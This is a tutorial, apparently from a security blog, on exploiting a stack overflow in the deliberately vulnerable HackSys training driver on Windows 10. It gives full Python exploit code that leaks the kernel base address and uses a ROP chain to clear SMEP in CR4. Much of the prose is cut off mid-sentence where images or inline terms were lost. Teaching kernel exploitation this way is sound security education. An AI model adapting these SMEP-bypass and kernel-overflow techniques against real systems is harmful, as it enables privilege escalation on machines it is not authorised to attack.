Original text by Andres Roldan
During the last posts, we’ve been dealing with exploitation in Windows Kernel space. We are using HackSys Extremely Vulnerable Driver or
In the last post, we successfully created a DoS exploit leveraging a stack overflow vulnerability in
In this article, we will use that ability to overwrite
During the exploitation process, we will come across with Supervisor Mode Execution Prevention or
Local vs Remote exploitation
When we were exploiting Vulnserver, we were doing remote exploitation to a user-space application. That kind of environment has certain specific restrictions, the most notorious are limited buffer space to insert our payload, character restrictions and
When we are exploiting the Windows Kernel, it is assumed that we already have unprivileged local access to the target machine. In that environment, those restrictions are not longer a major issue. For example, the buffer space problem and character restrictions are easily circumvented by allocating dynamic memory with
However, other protections come to scene when trying to exploit at kernel level, like
Stack Overflow exploitation
We left off our previous article performing a DoS to the target machine, on where we used the following exploit:
<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
And we were able to overwrite

Then, update our exploit:
<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
And check it:

Good,
Now, for illustration purposes, we’ll create a simple shellcode to make
Let’s update our exploit with that:
<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' + <em># mov eax,0xdeadbeef</em>
b'\xcc' <em># INT3 -> software breakpoint</em>
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0), <em># lpAddress</em>
c_int(len(SHELLCODE)), <em># dwSize</em>
c_int(0x3000), <em># flAllocationType = MEM_COMMIT | MEM_RESERVE</em>
c_int(0x40) <em># flProtect = PAGE_EXECUTE_READWRITE</em>
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR), <em># Destination</em>
SHELLCODE, <em># Source</em>
c_int(len(SHELLCODE)) <em># Length</em>
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
If everything comes as expected,

Ouch!
Our exploit was thwarted and the error
SMEP: Supervisor Mode Execution Prevention
There’s a concept called Protection rings which is used by operating systems to delimit capabilities and provide fault tolerance, by defining levels of privileges. Windows OS versions uses only 2 Current Privilege Levels (
The
Technically,

To bypass

It would be
But, how can we do that if we are not allowed to execute instructions at
In

Now, we need to calculate the offset of that

The offset is
Now we need to find a

And the offset from the start of the

We must remember to pad our

With that, we can now disable
Defeating kASLR
We’ve got all the required information to create the
import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
And check it:

As you can see, it matches perfectly to the address reported by

With that, we can update our exploit, adding the
<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' + <em># mov eax,0xdeadbeef</em>
b'\xcc' <em># INT3 -> software breakpoint</em>
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0), <em># lpAddress</em>
c_int(len(SHELLCODE)), <em># dwSize</em>
c_int(0x3000), <em># flAllocationType = MEM_COMMIT | MEM_RESERVE</em>
c_int(0x40) <em># flProtect = PAGE_EXECUTE_READWRITE</em>
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR), <em># Destination</em>
SHELLCODE, <em># Source</em>
c_int(len(SHELLCODE)) <em># Length</em>
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) + <em># pop eax # ret</em>
struct.pack('<L', 0x42424242) + <em># Padding for ret 8</em>
struct.pack('<L', 0x42424242) + <em>#</em>
struct.pack('<L', 0x000406e9) + <em># Value to disable SMEP</em>
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) + <em># mov cr4, eax # ret</em>
struct.pack('<L', RET_PTR) <em># Pointer to shellcode</em>
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
Looks good. Now check it:

And this is the content of the

As you can see, we were able to disable
Conclusions
In this post we were able to execute a shellcode which made